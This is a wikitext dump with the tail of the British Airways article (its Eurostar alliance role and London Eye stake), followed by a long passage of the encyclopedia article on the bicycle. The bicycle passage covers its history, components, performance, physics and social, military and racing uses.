*British Airways is part of the '''InterCapital and Regional Rail''' alliance, which in 1998 was awarded the contract to manage [[Eurostar (U.K.) Ltd.]]  The company, which is the UK arm of [[Eurostar]], the cross-Channel rail operator, makes up 10% of the alliance that also includes [[SNCF]], [[SNCB]] and [[National Express Group]].
*The airline is the principle sponsor of the [[British Airways London Eye]], one of the biggest tourist attractions in the UK.  From its inception BA held a 33% stake in the Eye, but sold this to the [[Tussauds Group]], who already held a 33% stake and operated the Eye, in November 2005.

==External links==
{{Commons|British Airways}}
*[http://www.ba.com British Airways' website]
*[http://www.flightinternational.com/Articles/2005/10/27/Navigation/355/202413/Willie+Walsh+fit+for+purpose+at+BA.html British Airways CEO Interview]
{{Airlines of the United Kingdom}}
{{Oneworld}}
{{airlistbox}}

[[Category:Asia Miles]]
[[Category:Airlines of the United Kingdom]]
[[Category:Companies listed on the London Stock Exchange]]
[[Category:British brands]]

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[[Image:Kusuma bike large.jpg|thumb|300px|This ''[[Racing bicycle|racing bicycle]]'' is built using lightweight, shaped [[aluminium]] tubing and [[Graphite-reinforced plastic|carbon fiber]] stays and forks.  It sports a drop handlebar and thin tires and wheels for efficiency and aerodynamics.]]

[[Image:utility bicycle.jpg|thumb|300px|Dutch utility bicycle featuring rear internal hub brake, chaincase and mudguards, kickstand for parking, permanently attached dynamo-powered lamps and touring handlebars.]]

A '''bicycle''', '''pushbike''', or '''bike''', is a pedal-driven [[land vehicle]] with two [[bicycle wheel|wheel]]s attached to a [[bicycle frame|frame]], one behind the other. First introduced in [[19th century|19th-century]] [[Europe]], bicycles evolved quickly into their familiar, current design. Numbering over 1,000,000,000 in the world today, bicycles provide the principal means of transportation in many regions and a popular form of recreational transport in others. 

The bicycle is one of the most notable of human inventions. The basic shape and configuration of the frame, wheels, pedals, saddle and handlebars has hardly changed since the first chain-driven model was developed around 1885, although many important detail improvements have been made since, especially in recent years using modern materials and computer-aided design. 

A remarkable aspect of the bicycle is its widespread adoption in many different fields of human activity, e.g. as a child's toy, in adult recreation and fitness, as a means of everyday transport, in cyclo-touring, as a basis of cycle sport (branches: track, off-road or MTB, downhill, cyclo-cross, time trialling, road racing, cycle speedway, cycle polo, BMX), and as a basis for static gymnasium or home fitness versions. 

The bicycle has affected history considerably in both the cultural and industrial realms. In its early years, bicycle construction drew on pre-existing technologies; more recently, bicycle technology has contributed, in turn, to other, newer areas.  Beyond recreation and transportation, bicycles have been adapted for use in many occupations, including the military, local policing, courier services, and sports.  A recurrent theme in bicycling has been the tension between bicyclists and drivers of [[motor vehicle]]s, each group arguing for its fair share of the world's roadways. 

==History==
{{main|History of the bicycle}}

No single time or person can be identified with the invention of the bicycle. Its earliest known forebears were called ''[[velocipede]]s'', and included many types of human-powered vehicles.  One of these, the scooter-like ''[[dandy horse]]'' of the French Comte de Sivrac, dating to 1790, was long cited as the earliest bicycle. Most bicycle historians now believe that these hobby-horses with no steering mechanism probably never existed, but were made up by [[Louis Baudry de Saunier]], a 19th-century French bicycle historian.
[[Image:bicycle two 1886.jpg|thumb|280px|A smartly dressed couple seated on an 1886 &quot;[[quadracycle]]&quot; for two.]]
The most likely originator of the bicycle is German [[Karl Drais|Baron Karl von Drais]], who rode his 1817 machine while collecting taxes from his tenants. He patented his ''draisine'', a number of which still exist, including one at the ''Paleis het Loo'' museum in [[Apeldoorn]], [[the Netherlands]]. These were ''pushbikes'', powered by the action of the rider's feet pushing against the ground.  Scottish blacksmith [[Kirkpatrick MacMillan]] shares creative credit with von Drais for adding a ''treadle'' drive mechanism, in 1840, that enabled the rider to lift his feet off the ground while driving the rear wheel. However, some reports describe MacMillan's vehicle as more of a &quot;quadricycle&quot;.

In the 1850s and 1860s, Frenchman Ernest Michaux and his pupil Pierre Lallement took bicycle design in a different direction, placing pedals on an enlarged front wheel.  Their creation, which came to be called the &quot;Boneshaker&quot;, featured a heavy steel frame on which they mounted wooden wheels with iron tires. Lallement emigrated to America, where he recorded a patent on his bicycle in 1866 in [[New Haven, Connecticut]]. The Boneshaker was further refined by James Starley in the 1870s.  He mounted the seat more squarely over the pedals, so that the rider could push more firmly, and further enlarged the front wheel to increase the potential for speed. With tires of solid rubber, his machine became known as the ''ordinary''. British cyclists likened the disparity in size of the two wheels to their coinage, nicknaming it the ''[[penny-farthing]]''. The primitive bicycles of this generation were difficult to ride, and the high seat and poor weight distribution made for dangerous falls.
''[[Image:BicyclePlymouth.jpg|left|thumb|Bicycle in Victorian Plymouth, with a predecessor of the Starley diamond-frame]]'' 

The subsequent ''dwarf ordinary'' addressed some of these faults, by adding gearing, reducing the front wheel diameter, and setting the seat further back with no loss of speed. Having to both pedal and steer via the front wheel remained a problem. Starley's nephew, [[J. K. Starley]], J. H. Lawson, and Shergold solved this problem by introducing the ''chain'' and producing rear-wheel drive.   These models were known as ''dwarf safeties'', or ''safety bicycles'', for their lower seat height and better weight distribution.  Starley's 1885 Rover is usually described as the first recognizably modern bicycle.  Soon the ''seat tube'' was added, creating the double-triangle, ''diamond frame'' of the modern bike.

 
While the Starley design was much safer, the return to smaller wheels made for a bumpy ride.  The next innovations increased comfort and ushered in the 1890s ''Golden Age of Bicycles''. In 1888 Scotsman [[John Boyd Dunlop]] introduced the [[pneumatic tire]], which soon became universal. Shortly thereafter the rear [[freewheel]] was developed, enabling the rider to coast without the pedals spinning out of control. This refinement led to the 1898 invention of ''coaster brakes''. [[Derailleur gears]] and hand-operated, [[Bicycle brake systems|cable-pull brakes]] were also developed during these years, but were only slowly adopted by casual riders.  By the turn of the century, bicycling clubs flourished on both sides of the Atlantic, and touring and racing were soon the rage.
''[[Image:Bamboobike.jpg|thumb|American bike from 1896. The frame made of [[bamboo]]]]''
Successful early bicycle manufacturers included Englishman [[Frank Bowden]] and German builder Ignaz Schwinn.  Bowden started the [[Raleigh (bicycle)|Raleigh]] company in Nottingham in the 1890s, and soon was producing some 30,000 bicycles a year. Schwinn emigrated to the United States, where he founded his similarly successful company in Chicago in 1895. [[Schwinn Bicycle Company|Schwinn]] bicycles soon featured widened tires and spring-cushioned, padded seats, sacrificing some efficiency for increased comfort.  Facilitated by connections between European nations and their overseas colonies, European-style bicycles were soon available worldwide.  By the mid-20th century bicycles had become the primary means of transportation for millions of people around the globe.

[[Image:Amsterdam-flowerbike.jpg|thumb|A more-than-typical Amsterdam 'granny bike']]
In many western countries the use of bicycles levelled off or declined, as motorized transportation became affordable and car-centred policies led to an increasingly hostile road environment for bicycles. In North America, bicycle sales declined markedly after 1905, to the point where by the 1940s, they had largely been relegated to the role of children's toys.  In other parts of the world however, such as [[China]], [[India]], and European countries such as [[Germany]], [[Denmark]], and the [[Netherlands]], the traditional utility bicycle remained a mainstay of transportation, its design only gradually changing to incorporate hand-operated brakes and internal hub gears allowing up to seven speeds. In the Netherlands, such so-called 'granny bikes' have remained popular, and are again in production. Especially in [[Amsterdam]] they are often colourfully painted and/or otherwise decorated.

[[Image:Mountain bicycle.jpg|thumb|left|This ''[[Mountain bike|mountain bicycle]]'' features oversized tires, a sturdy frame, front shock absorbers, and handlebars oriented perpendicular to the bike's axis]]
In North America, increasing consciousness of physical fitness and environmental preservation spawned a renaissance of bicycling in the late 1960s. Bicycle sales in the United States boomed, largely in the form of the [[racing bicycle]]s long used in such events as the hugely popular [[Tour de France]]. Sales were also helped by a number of technical innovations that were new to the US market, including higher performance steel alloys and gearsets with an increasing number of gears. While 10-speeds were the rage in the 1970s, 12-speed designs were introduced in the 1980s, and today most bikes feature 18 or more speeds. By the 1980s these newer designs had driven the [[three-speed bicycle]] from the roads. In the late 1980s the [[mountain bike]] became particularly popular, and in the 1990s something of a major fad. These task-specific designs led many American recreational cyclists to demand a more comfortable and practical product.  Manufacturers responded with the [[hybrid bicycle]], which restored many of the features long enjoyed by riders of the time-tested European [[utility bicycle|utility bikes]].




==Technical aspects==
[[Image:Bicycle.jpg|frame|Reflectors for night riding are one of many available safety accessories]]

===Legal requirements===
The  1968 [[Vienna Convention on Road Traffic]] considers a bicycle to be a vehicle, and a person controlling a bicycle is considered a driver.  The traffic codes of many countries reflect these definitions and demand that a bicycle satisfy certain legal requirements, including licencing, before it can be used on public roads.  In many jurisdictions it is an offence to use a bicycle that is not in roadworthy condition and which does not have functioning front and rear [[bicycle brake systems|brakes]].  In some places, bicycles must have functioning front and rear [[bicycle lighting|lights]] or ''lamps''.  As some generator or dynamo-driven lamps only operate while moving, rear [[retroreflectors|reflectors]] are frequently also mandatory.  Since a moving bicycle makes very little noise, in many countries bicycles must have a warning bell for use when approaching pedestrians, equestrians and other bicyclists.

===Construction and parts===
====Frame====
{{main|Bicycle frame}}

Nearly all modern [[upright bicycle]]s feature the ''diamond frame'', composed of two [[triangle]]s: the front triangle and the rear triangle. The front triangle consists of the head tube, top tube, down tube and seat tube. The head tube contains the [[headset (bicycle part)|headset]], the interface with the [[bicycle fork|fork]]. The top tube connects the head tube to the seat tube at the top, and the down tube connects the head tube to the [[bottom bracket]]. The rear triangle consists of the seat tube and paired chain stays and seat stays. The chain stays run parallel to the [[bicycle chain|chain]], connecting the bottom bracket to the rear dropouts. The seat stays connect the top of the seat tube (often at or near the same point as the top tube) to the rear dropouts.

Historically, women's bicycle frames had a top tube that connected in the middle of the seat tube instead of the top, resulting in a lower standover height. This allowed the rider to dismount while wearing a skirt or dress. Although some women's bicycles continue to use this frame style, there is also a hybrid form, the ''mixte'' or ''step-through frame'', which also allows easier mounting and dismounting for both male and female riders.

Historically, materials used in bicycles have followed a similar pattern as in aircraft, the goal being strength and low weight.  Since the late 1930s alloy steels have been used for frame and fork tubes in higher quality machines. [[Celluloid]] found application in mudguards, and aluminium alloys are increasingly used in components such as handlebars, seat stems (also known as seatposts), and brake levers. In the 1980s [[aluminium]] alloy frames became popular, and their affordability now makes them common.  More expensive [[carbon fibre]] and [[titanium]] frames are now also available, as well as advanced steel alloys.

====Drivetrain====
{{details|bicycle gearing}}

The ''drivetrain'' begins with [[bicycle pedal|pedals]] which rotate the [[crankset]], which fit into the [[bottom bracket]]. Attached to the crank is the ''chainring'' which drives the [[bicycle chain|chain]], which in turn rotates the rear wheel via the rear [[sprocket]]s.  Between the chain and rear wheel may be interspersed various [[bicycle gearing | gearing systems]], described below, which vary the number of rear wheel revolutions produced by each turn of the pedals.  

Since cyclists' legs produce a limited amount of power most efficiently over a narrow range of ''[[Cadence (cycling)|cadences]]'', a variable [[gear ratio]] is needed to maintain an optimum pedaling speed while covering varied terrain.  The gear systems are hand-operated, via cables (or rarely, hydraulics), and are of two types.
* ''Internal [[hub gear]]ing'' works by [[Epicyclic gearing|planetary, or epicyclic, gearing]], in which the outer case of the hub gear unit turns at a different speed relative to the rear axle depending on which gear is selected.  Rear hub gears may offer 3, 4, 5, 6, 7, 8, 12, or 14 speeds.  Bottom bracket fittings offer a choice of 2 speeds.  
*  ''External gearing'' utilizes [[derailleur gear|derailleurs]], which can be placed on both the front ''chainring'' and on the rear ''cluster'' or ''cassette'', to push the chain to either side, derailing it from the sprockets. The sides of the gear rings catch the chain, pulling it up onto their teeth to change gears.  There may be 1 to 3 chainrings, and 5 to 10 sprockets on the cassette.

Internal hub gears are much less affected by adverse weather conditions than derailleurs, and often last longer and require less maintenance.  However, they may be heavier and/or more expensive, and often do not offer the same range or number of gears.
Internal hub gearing still predominates in some regions, particularly on utility bikes, whereas in other regions, such as the USA, external derailleur systems predominate.

Road bicycles have ''close set'' multi-step gearing, which allows very fine control of cadence, while ''utility cycles'' offer fewer, more widely spaced speeds. ''Mountain bikes'' and most entry-level road racing bikes may offer an extremely low gear to facilitate climbing slowly on steep hills.

Fixed-gear track racing bikes have transmission efficiencies of over 99% (nearly all the energy put in at the pedals ends up at the wheel). While generally variable ratio gear mechanisms are essential for human efficiency, they do reduce mechanical efficiency. The efficiency varies considerably with the gear ratio being used. In a typical hub gear mechanism the mechanical efficiency will be between 82% and 92% depending on the ratio selected. Which ratios are ''best'' and ''worst'' depends on the specific model of hub gear. Derailleur type mechanisms fare better, with a typical mid-range product (of the sort used by serious amateurs) achieving between 88% and 99% efficiency at 100 W. In derailleur mechanisms the highest efficiency is achieved by the larger cogs. Efficiency generally decreases with smaller cog sizes because the chain must bend more sharply as it rolls on and off the cog, and it also forms a sharp angle at the chain tensioner&lt;sup&gt;[[#Notes|9]]&lt;/sup&gt;. Derailleur efficiency is also compromised with '''cross-chaining''', or running large-ring to large-cog or small-ring to small-cog. This also results in increased wear because of the lateral deflection of the chain. [[Retro-Direct]] drivetrains used on some early 20th century bicycles have been resurrected by bicycle hobbyists.

====Steering and seating====
The [[handlebar]]s rotate the [[bicycle fork|fork]] and the front [[bicycle wheel|wheel]] via the ''stem'', which articulates with the [[headset (bicycle part)|headset]].  Three styles of handlebar are common.  ''Touring handlebars'', the norm in Europe and elsewhere until the 1970s, curve gently back toward the rider, offering a natural grip and comfortable upright position.  ''Racing handlebars'' are &quot;dropped&quot;, offering the cyclist either an aerodynamic &quot;hunched&quot; position or a more upright posture in which the hands grip the brake lever mounts.  Mountain bikes feature a crosswise handlebar, which helps prevent the rider from pitching over the front in case of sudden deceleration.

Variations on these styles exist. ''Bullhorn'' style handlebars are often seen on modern [[time trial bicycle]]s, equipped with two forward-facing extensions, allowing a rider to rest his entire forearm on the bar. These are usually used in conjunction with the ''aero bar'', a pair of forward-facing extensions spaced close together, to promote better aerodynamics. The ''Bullhhorn'' was banned from ordinary road racing because it is considered there is less fine control in bike traffic.
 
''Seats'', or ''saddles'', also vary with rider preference, from the cushioned ones favoured by short-distance riders to narrower seats which allow more free leg swings. Comfort depends on riding position.  With comfort bikes and hybrids the cyclist sits high over the seat, their weight directed down onto the saddle, such that a wider and more cushioned saddle is preferable. For racing bikes where the rider is bent over, weight is more evenly distributed between the handlebars and saddle, and the hips are flexed, and a narrower and harder saddle is more efficient. 

[[Recumbent bicycle]]s have more chair-like seats, and so are much more comfortable to ride, although generally slower up hills due to this positioning.  The reclined, low seating position does provide increased aerodynamics over standard seating.

====Brakes====
{{main|bicycle brake systems}}

Bicycle ''brakes'' are either ''rim brakes'', in which friction pads are compressed against the wheel rims, ''internal hub brakes'', in which the friction pads are contained within the wheel hubs, or disc brakes.  A rear hub brake may be either hand-operated or pedal-actuated, as in the back pedal ''coaster brakes'' which were the rule in North America until the 1960s.  Hub drum brakes do not cope well with extended braking, so rim brakes are favoured in hilly terrain.  With hand-operated brakes, force is applied to brake handles mounted on the handle bars and then transmitted via [[Bowden cable]]s to the friction pads.  In the late 1990s, [[disc brakes]] appeared on some off-road bicycles, [[tandem bicycle|tandem]]s and [[recumbent bicycle]]s, but are considered impractical on road bicycles, which rarely encounter conditions where the advantages of discs are significant.  

The advantages of discs make them well-suited to steep, extended downhills through wet and muddy off-road terrain, which falls under the category of downhill and freeride bicycle riding.  The use of tires as large as 3.0 inches in width also makes disc brakes a necessity, as rim brakes simply cannot straddle a tire that wide.

Two main disc brake systems exist: hydraulic and mechanical (cable-actuated).  Mechanical disc brakes have less modulation than hydraulic disc brake systems, and since the cable is usually open to the outside, mechanical disc brakes tend to pick up small bits of dirt and grit in the cable lines when ridden in harsh terrain.  Hydraulic disc brake systems generally keep contaminants out better.  However, since hydraulic disc brakes usually require relatively specialized tools to bleed the brake systems, repairs on the trail are difficult to perform, whereas mechanical disc brakes rarely fail.  Also, the hydraulic fluid may boil on steep, continuous downhills.  This is due to the brake losing its ability to transmit force through incompressible fluids, since some of it has become a gas, which is compressible.  For these reasons, one must weigh the advantages and disadvantages of using a hydraulic system versus a mechanical system.

====Accessories and repairs====
Utility bicycles have many standard features which enhance their usefulness and comfort that would be considered accessories on sports bicycles.  ''Chainguards'' and ''mudguards'', or ''fenders'', protect clothes and moving parts from oil and spray.  ''Kick stands'' help with parking.  Front-mounted wicker or steel ''baskets'' for carrying goods are often used.  Rear racks or carriers can be used to carry items such as school satchels.  Parents sometimes add rear-mounted child seats and/or an auxiliary saddle fitted to the crossbar to transport children.
[[Image:Reiserad-beladen.jpg|left|thumb|Touring bicycle equipped with head lamp, pump, rear rack, fenders/mud-guards, and numerous saddle-bags.]]
Other accessories include lights, pump, lock, and additional (pedal or wheel-mounted) reflectors.  Technical accessories include solid-state speedometers and odometers for measuring distance.  ''Toe-clips'' help to keep the foot planted firmly on the pedals, and enable the cyclist to pull as well as push the pedals.

In most countries where cycling is common, [[bicycle helmet]] use is negligible.  In North America a significant minority, possibly up to 25% of bicyclists, wear helmets. While no U.S. federal law requires helmets, many states require children to wear them, and some municipalities require them for all riders. In [[Australia]] and [[New Zealand]], and parts of [[Canada]], helmets are required by law. Outside the West, use of helmets by utility cyclists  is practically unknown.  No correlation between decreased injury rates and helmet use has been demonstrated in whole populations.

Many cyclists carry ''tool kits'', containing at least a tire patch kit, [[tire lever]]s, and spanners.  A single tool once sufficed for most repairs.  More specialised parts now require more complex tools, including proprietary tools specific for a given manufacturer.   Some bicycle parts, particularly hub-based gearing systems, are complex, and many prefer to leave [[repair and maintenance|maintenance and repairs]] to professionals.  Others maintain their own bicycles, enhancing their enjoyment of the [[hobby]] of cycling.

===Performance===
In both biological and mechanical terms, the bicycle is extraordinarily efficient. In terms of the amount of energy a person must expend to travel a given distance, investigators have calculated it to be the most efficient self-powered means of transportation.&lt;sup&gt;[[#Notes|1]]&lt;/sup&gt;  From a mechanical viewpoint, up to 99% of the energy delivered by the rider into the pedals is transmitted to the wheels, although the use of gearing mechanisms may reduce this by 10-15% &lt;sup&gt;[[#Notes|2]]&lt;/sup&gt;  &lt;sup&gt;[[#Notes|9]]&lt;/sup&gt;. In terms of the ratio of cargo weight a bicycle can carry to total weight, it is also a most efficient means of cargo transportation.

A human being travelling on a bicycle at low to medium speeds of around 10-15 mph (16-24 kph), using only the energy required to walk, is the most energy-efficient means of transport generally available. Air drag, which increases with the square of speed, requires increasingly higher power outputs relative to speed. A bicycle in which the rider lies in a prone position and which may be covered in an aerodynamic fairing to achieve very low air drag is referred to as a [[recumbent bicycle]] or [[Human Powered Vehicle]].
[[Image:RacingBicycle-non.JPG|right|thumb|Racing bicycles have dropped handlebars, a narrow seat, and minimal accessories.]]

On firm, flat, ground, a 70 kg man requires about 100 watts to walk at 5 km/h. That same man on a bicycle, on the same ground, with the same power output, can average 25 km/h, so energy expenditure in terms of kcal/kg/km is roughly one-fifth as much. Generally used figures are
* 1.62 kJ/(km∙kg) or 0.28 kcal/(mile∙lb) for cycling,
* 3.78 kJ/(km∙kg) or 0.653 kcal/(mile∙lb) for walking/running,
* 16.96 kJ/(km∙kg) or 2.93 kcal/(mile∙lb) for swimming.

For many people whose running might be limited by muscle and knee pain, cycling offers comparable outdoor exercise that can be enjoyed by people of a wide range of fitness levels: it is a &quot;no-impact&quot; sport that is easy on the body as long as the bike is properly &quot;fit.&quot;  In addition, since bicycling can also provide convenient transportation, less self-discipline may be required to keep to the activity, since it has a  practical purpose. However, because of its efficiency, cycling requires a longer distance, and often greater time, than running to consume the same amount of energy.

The average &quot;in-shape&quot; man can produce about 3 watts/kg for more than an hour (e.g., around 200 watts for a 70 kg rider), with top amateurs producing 5 watts/kg and elite athletes achieving 6 watts/kg for similar lengths of time. Elite track sprinters are able to attain an instantaneous maximum output of around 2,000 watts, or in excess of 25 watts/kg; elite road cyclists may produce 1,600 to 1,700 watts as an instantaneous maximum in their burst to the finish line at the end of a five-hour long road race. Even at moderate speeds, most cycling energy is spent in overcoming aerodynamic [[drag (physics)|drag]], which increases with the square of speed; therefore, power needs increase approximately with the cube of speed. 
 
Typical speeds for bicycles are 16 to 32&amp;nbsp;[[km/h]] (10 to 20&amp;nbsp;[[Miles per hour|mph]]). On a fast racing bicycle, a reasonably fit rider can ride at 50&amp;nbsp;km/h (30&amp;nbsp;mph) on flat ground for short periods. The highest speed ever officially attained on the flat, without using motor pacing and wind-blocks, is by Canadian [[Sam Whittingham]], who in 2002 set a 130.36&amp;nbsp;km/h (81.00&amp;nbsp;mph) record on his highly aerodynamic recumbent bicycle. This stands as the official record for all human-powered vehicles.

There has been major corporate competition to lower the weight of racing bikes through the use of advanced materials and components. Additionally, advanced wheels are available with low-friction bearings and other features to lower road resistance. In measured tests these components have almost no effect on cycling performance. For instance, lowering a bike's weight by 1 kg, a major effort considering they may weigh less than 15 kg to start with, will have the same effect over a 40 km [[time trial]] as removing a protrusion into the air the size of a pencil. For this reason more recent designs have concentrated on lowering wind resistance, using aerodynamically shaped tubing, flat spokes on the wheels, and handlebars that allow the rider to bend over into the wind. These changes can impact performance dramatically, cutting minutes off a time trial.

===Bicycle physics===
A rider stays upright on a bicycle by balancing and manipulating the handlebars to counteract gravity which will otherwise topple the bike over. Once underway, this rider effort is largely replaced by physical forces which produce a remarkable &quot;self-steering&quot; effect.&lt;sup&gt;[[#Notes|3]]&lt;/sup&gt;  These forces are sufficiently strong that a riderless bicycle going down a slope will stay upright by itself.  Conversely, a bicycle whose steering fork is locked in a perfectly straight ahead position is virtually impossible to balance.

Stability is primarily created by a factor called ''trail'', produced by the geometry of the front forks. The point of contact that the front wheel makes with the ground is located behind (trails) the location where the steering axis intersects the ground. One can see the effect that trail has by simply holding a bicycle by the seat and leaning it.  When the bicycle tilts to the side, front-wheel trail causes the weight of the bicycle to steer the wheel into the direction of the tilt. The forward momentum of a rolling bicycle resists the resultant change in heading, bringing the bicycle upright.  The greater the amount of trail, the greater this stabilising reaction. Negative trail (rolling a bicycle backwards) results in immediate steering problems. Zero trail (as in a unicycle) requires constant rider adjustment. Positive trail - found on typical bicycles - creates positive stability by steering the contact patch back under the center of gravity of the bicycle and rider. [http://www.johnforester.com/Articles/BicycleEng/dahon.htm] [http://www.velonews.com/tech/report/articles/7322.0.html]

Stability is also produced by the [[Gyroscope|gyroscopic]] effect of the wheels, although research has shown this to be not particularly significant for bicycles.   The [[angular momentum]] of the wheels and the [[torque]] applied to them by the ground generate a phenomenon called [[precession]], by which the wheels turn the bike into the direction of whichever side the bicycle is tilted. For motorcycles, with their faster and heavier wheels, this is integral to turning the bike. &lt;sup&gt;[[#Notes|4]]&lt;/sup&gt;

That gyroscopic effects are unimportant at normal cycling speeds was shown by physicist and researcher into bicycle stability [[David E. H. Jones]], whose series of &quot;URBs&quot; (&quot;unrideable bikes&quot; with various modifications to the front end) included a bike which cancelled the gyroscopic effect of the front wheel by dint of attaching a second wheel to his front forks (alongside the regular wheel) whose lower edge was about an inch (25 mm) above the ground.  By gearing this wheel to the regular front wheel so that it spun in the opposite direction at equal speed, the net angular momentum of both wheels together was close to zero.  Jones found he could ride this bike with no difficulty, but did discover that without a rider the non-gyroscopic bike fell over much faster than a regular bike.

At higher speeds bicycles can also experience [[speed wobble|speed wobbles]] or shimmies, where the front wheel spontaneously oscillates to the left and right.  While the wobbles can be easily remedied by slowing down, adjusting position, or relaxing one's grip on the handlebars, speed wobbles can be [http://www.mailtribune.com/archive/2004/0915/local/stories/01local.htm fatal].

This shimmy is often seen in shopping cart front wheels. Some otherwise minor irregularity accelerates the wheel to one side. The restoring force is applied in phase with the progress of the irregularity, and the wheel turns to the other side where the process is repeated. If there is insufficient damping in the steering the oscillation will increase until system failure. Speed changes, making the bicycle/motorcycle stiffer or lighter, or increasing the stiffness of the steering (of which the rider is the main component) can change the oscillation frequency, though only speed change is applicable in the situation.

For more information on the technical aspects of bicycles, see also:

*[[List of bicycle parts]] and [[:Category:Bicycle parts]]
&lt;!-- *[[Bicycle brake systems]] --&gt;
&lt;!-- *[[Bicycle lighting]] --&gt;

==Social and historical aspects==
[[Image:BikesInAmsterdam 2004 SeanMcClean.jpg|right|thumb|Present day: Bikes still popular in Amsterdam]]

===Economic and social implications===
Bicycle manufacturing proved to be a training ground for other industries.  Building modern bicycle frames led to the development of advanced metalworking techniques, both for the frames themselves and for special components such as [[Bearing (mechanical)|ball bearings]], [[washer (mechanical)|washer]]s, and [[sprocket]]s. These techniques later enabled skilled metalworkers and mechanics to develop the components used in early [[automobile]]s and [[aircraft]]. J. K. Starley's company became the ''Rover Cycle Company Ltd.'' in the late 1890s, and then the ''[[Rover (car)|Rover]]'' auto maker.  The [[Morris Motor Company]] and [[Škoda Auto|Škoda]] also began in the bicycle business, as did [[Henry Ford]] and the [[Wright Brothers]].

Some  bicycle clubs and national associations became prominent advocates for improvements to roads and highways. In the [[United States]], the [[League of American Wheelmen]] was a prominent advocate for the improvement of roads in the last part of the 19th century, founding and leading the national [[Good Roads Movement]] in the US.

[[Image:WhiteBikesVeluwe.jpg|thumb|250px|left|In the Netherlands, bicycles are made available for use in national parks]]The evolution of the bicycle had less tangible effects as well, extending early to areas as diverse as fashion and politics.  In the 1890s the cycling craze led to a new set of fashions, including ''bloomers'', which helped liberate women from corsets and other restrictive clothing.  A British perfumer marketed ''Cycling Bouquet'', which came in a tiny vial designed to fit into a lady cyclist's purse. The diamond-frame safety bicycle gave women unprecedented mobility, contributing to their emancipation in Western nations.  Sociologists suggest that bicycles enlarged the gene pool for rural workers, by enabling them to easily reach the next town and increase their ''courting radius''.  In cities, bicycles helped reduce crowding in inner-city tenements by allowing workers to commute from single-family dwellings in the suburbs. They also reduced dependence on horses, and allowed people to travel into the country, since bicycles were three times as energy efficient as walking, and three to four times as fast.  In North America, the political organization of bicycle enthusiasts, in such groups as the ''League of American Wheelmen'', led to further changes.  Both their model for political organization and the paved roads for which they argued facilitated the growth of the bicycle's rival, the [[automobile]].

In recent years, US and European bicycle makers have moved much of their production to Asia. Some sixty percent of the world's bicycles are now being made in China. Despite this shift in production, as nations such as China and India become more wealthy, their own use of bicycles has declined. One of the major reasons for the proliferation of Chinese-made bicycles in foreign markets is the increasing affordability of cars and motorcycles for its own citizens &lt;sup&gt;[[#Notes|5]]&lt;/sup&gt;.

===Bicycles at work===
[[Image:PoliceOfficerOnBike.jpg|thumb|right|Police officer on a bicycle]]

The [[mail|postal service]]s of many countries have long relied on bicycles.  The [[Royal Mail]] first started using bicycles in 1880.  Bicycle delivery fleets include 37,000 in the [[UK]], 25,700 in [[Germany]] and 10,500 in [[Hungary]].  [[Police]] officers adopted the bicycle as well, initially using their own.  However, they eventually became a standard issue, particularly for police in rural areas.  The [[Kent]] police purchased 20 bicycles in 1896, and by 1904 there were 129 police bicycle patrols operating. Some countries retained the police bicycle while others dispensed with them for a time.  Bicycle patrols are now enjoying a resurgence in many cities, as the mobility of car-borne officers is becoming increasingly limited by traffic congestion and [[Auto-free zone|pedestrianisation]].  They also have the advantages that the officers are inherently more open to the public, and the transport is quieter to permit a more stealthy approach toward suspects.  The pursuit of suspects can also be assisted by a bicycle.
[[Image:Indian Couple on Bicycle.jpg|right|thumb|Bicycles are still an important mode of transportation for people of lower middle class in [[India]]]]
Bicycles have enjoyed substantial use as general delivery vehicles in many cities.  In the UK, this use persisted for some purposes with generations of teenagers getting their first jobs delivering newspapers by bicycle.  In [[India]], many of [[Mumbai]]'s [[Dabbawala]]s use bicycles to deliver hot lunches to the city’s workers.  In [[Bogotá]], [[Colombia]] the city’s largest bakery recently replaced most of its delivery trucks with bicycles.  Even the car industry uses bicycles.  At the huge [[Mercedes-Benz]] factory in [[Sindelfingen]], [[Germany]] workers use bicycles, colour-coded by department, to move around the factory.

===Bicycle recreation===

Bicycles are used for recreation at all ages. [[Bicycle touring]] involves touring and exploration or sightseeing with the use of a bicycle for leisure. A [[brevet (cycling)|brevet]] or randonnée is an organized long-distance ride.

One major aspect of [[Netherlands|Dutch]] popular culture is enjoying relaxed cycling in the [[rural|countryside]] of the [[Netherlands]]. The land is very flat and full of special public bicycle trails where cyclist aren't bothered by [[automobile|cars]] and other traffic, which makes it ideal for cycling [[recreation]]. Many [[Dutch people]] subscribe every [[year]] to an event called ''[[fietsvierdaagse]]'' &amp;#8212; four days of organised cycling through the local environment. [[Paris-Brest-Paris]] (PBP), which began in 1891, is the oldest bicycling event still run on a regular basis on the open road, covers over 1200 km and imposes a 90-hour time limit.

===Bicycles and war===
{{main|bicycle infantry}}

The bicycle is not suited for combat, but it has been used as a method of transporting soldiers and supplies to combat zones. Bicycles were used in the [[Second Boer War]], where both sides used them for scouting. In [[World War I]], France and Germany used bicycles to move troops. In its 1937 invasion of China, Japan employed some 50,000 bicycle troops, and similar forces were instrumental in Japan's march through [[Malaya]] in [[World War II]].  Germany used bicycles again in World War II, while the British employed airborne ''Cycle-commandos'' with folding bikes.

In the [[Vietnam War]], communist forces used bicycles extensively as cargo carriers along the [[Ho Chi Minh Trail]]. There are reports of mountain bicycles being used in scouting by U.S. Special Forces in the [[U.S. invasion of Afghanistan]] and in subsequent battles against the [[Taliban]]. The only country to recently maintain a regiment of bicycle troops was [[Switzerland]], who disbanded the last unit in 2003.

===Bicycle racing===
{{main|bicycle racing}}

Shortly after the introduction of bicycles, competitions developed independently in many parts of the world. Early races involving boneshaker style bicycles were predictably fraught with injuries. Large races became popular during the 1890's &quot;Golden Age of Cycling&quot;, with events across Europe, and in the U.S. and Japan as well.  At one point, almost every major city in the US had a [[velodrome]] or two for [[track racing]] events. However since the middle of the 20th Century cycling has become a minority sport in the US whilst in Continental Europe it continues to be a major sport, particulrly in France, Belgium and Italy. The most famous of all bicycle races is the [[Tour de France]].  This began in 1903, and continues to capture the attention of the sporting world.

As the bicycle evolved its various forms, different racing formats developed.  Road races may involve both team and individual competition, and are contested in various ways. They range from the one-day road race, [[criterium]], and time trial to multi-stage events like the Tour de France and its sister events which make up cycling's [[Grand Tour (cycling)|Grand Tours]]. [[Recumbent bicycle]]s were banned from bike races in 1934 after [[Marcel Berthet]] set a new [[hour record]] in his ''Velodyne streamliner'' (49.992 km on Nov 18, 1933).  [[Track bicycle]]s are used for [[Track cycling|track racing]] in [[Velodrome]]s , while [[cyclo-cross]] races are held on rugged outdoor terrain.  In the past decade, [[mountain biking|mountain bike racing]] has also reached international popularity and is even an Olympic sport.

